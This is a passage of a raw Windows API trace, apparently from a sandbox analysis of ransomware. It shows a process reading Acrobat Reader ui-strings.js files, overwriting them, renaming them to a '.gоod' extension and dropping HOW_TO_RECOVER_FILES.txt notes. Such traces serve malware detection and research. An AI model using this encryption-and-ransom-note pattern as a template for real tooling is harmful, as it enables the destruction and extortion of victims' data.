lpOldMode=0x203eb520) returned 1 [0226.188] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-cn", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-cn", lpFilePart=0x0) returned 0x77 [0226.188] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-cn\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ada0 [0226.188] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.188] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0226.188] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0226.188] FindClose (in: hFindFile=0x134ada0 | out: hFindFile=0x134ada0) returned 1 [0226.188] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0226.188] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0226.188] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0226.188] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-cn", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-cn", lpFilePart=0x0) returned 0x77 [0226.188] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-cn\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b2e0 [0226.189] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.189] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0226.189] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0226.189] FindClose (in: hFindFile=0x134b2e0 | out: hFindFile=0x134b2e0) returned 1 [0226.189] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0226.189] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0226.189] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-cn\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-cn\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0226.189] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb2d0) returned 1 [0226.189] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-cn\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-cn\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x364f388 | out: lpFileInformation=0x364f388*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6bf)) returned 1 [0226.189] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb290) returned 1 [0226.190] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-cn\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-cn\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0226.190] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0226.190] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-cn\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-cn\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0226.190] GetFileType (hFile=0x864) returned 0x1 [0226.190] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0226.190] GetFileType (hFile=0x864) returned 0x1 [0226.190] GetFileSize (in: hFile=0x864, lpFileSizeHigh=0x203eb328 | out: lpFileSizeHigh=0x203eb328*=0x0) returned 0x6bf [0226.190] ReadFile (in: hFile=0x864, lpBuffer=0x364fdf0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb258, lpOverlapped=0x0 | out: lpBuffer=0x364fdf0*, lpNumberOfBytesRead=0x203eb258*=0x6bf, lpOverlapped=0x0) returned 1 [0226.191] CloseHandle (hObject=0x864) returned 1 [0226.506] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-cn\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-cn\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0226.506] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0226.506] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-cn\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-cn\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0226.507] GetFileType (hFile=0x828) returned 0x1 [0226.507] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0226.507] GetFileType (hFile=0x828) returned 0x1 [0226.507] WriteFile (in: hFile=0x828, lpBuffer=0x3732700*, nNumberOfBytesToWrite=0x6c0, lpNumberOfBytesWritten=0x203eb168, lpOverlapped=0x0 | out: lpBuffer=0x3732700*, lpNumberOfBytesWritten=0x203eb168*=0x6c0, lpOverlapped=0x0) returned 1 [0226.508] CloseHandle (hObject=0x828) returned 1 [0226.508] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-cn\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-cn\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0226.508] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-cn\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-cn\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x8a [0226.508] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb290) returned 1 [0226.508] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-cn\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-cn\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x203eb370 | out: lpFileInformation=0x203eb370*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x833825f3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x6c0)) returned 1 [0226.508] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb250) returned 1 [0226.508] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-cn\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-cn\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-cn\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-cn\\ui-strings.js.gоod")) returned 1 [0226.509] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-cn\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203eaf70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-cn\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x90 [0226.509] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb490) returned 1 [0226.509] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-cn\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-cn\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x828 [0226.513] GetFileType (hFile=0x828) returned 0x1 [0226.513] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb400) returned 1 [0226.513] GetFileType (hFile=0x828) returned 0x1 [0226.514] WriteFile (in: hFile=0x828, lpBuffer=0x3736010*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203eb558, lpOverlapped=0x0 | out: lpBuffer=0x3736010*, lpNumberOfBytesWritten=0x203eb558*=0x5d0, lpOverlapped=0x0) returned 1 [0226.514] CloseHandle (hObject=0x828) returned 1 [0226.515] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0226.515] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-tw", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-tw", lpFilePart=0x0) returned 0x77 [0226.515] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-tw\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b400 [0226.515] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.515] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0226.515] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0226.515] FindClose (in: hFindFile=0x134b400 | out: hFindFile=0x134b400) returned 1 [0226.515] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0226.516] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0226.516] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0226.516] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-tw", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-tw", lpFilePart=0x0) returned 0x77 [0226.516] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-tw\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aaa0 [0226.516] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.516] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0226.516] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0226.516] FindClose (in: hFindFile=0x134aaa0 | out: hFindFile=0x134aaa0) returned 1 [0226.516] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0226.516] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0226.517] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-tw\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-tw\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0226.517] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb2d0) returned 1 [0226.517] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-tw\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-tw\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3745ee8 | out: lpFileInformation=0x3745ee8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6c4)) returned 1 [0226.517] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb290) returned 1 [0226.517] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-tw\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-tw\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0226.517] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0226.517] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-tw\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-tw\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0226.517] GetFileType (hFile=0x828) returned 0x1 [0226.517] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0226.517] GetFileType (hFile=0x828) returned 0x1 [0226.517] GetFileSize (in: hFile=0x828, lpFileSizeHigh=0x203eb328 | out: lpFileSizeHigh=0x203eb328*=0x0) returned 0x6c4 [0226.517] ReadFile (in: hFile=0x828, lpBuffer=0x3746958, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb258, lpOverlapped=0x0 | out: lpBuffer=0x3746958*, lpNumberOfBytesRead=0x203eb258*=0x6c4, lpOverlapped=0x0) returned 1 [0226.519] CloseHandle (hObject=0x828) returned 1 [0226.949] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-tw\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-tw\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0226.949] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0226.949] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-tw\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-tw\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0226.951] GetFileType (hFile=0x630) returned 0x1 [0226.951] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0226.951] GetFileType (hFile=0x630) returned 0x1 [0226.951] WriteFile (in: hFile=0x630, lpBuffer=0x381b450*, nNumberOfBytesToWrite=0x6d0, lpNumberOfBytesWritten=0x203eb168, lpOverlapped=0x0 | out: lpBuffer=0x381b450*, lpNumberOfBytesWritten=0x203eb168*=0x6d0, lpOverlapped=0x0) returned 1 [0226.951] CloseHandle (hObject=0x630) returned 1 [0226.952] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-tw\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-tw\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0226.952] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader 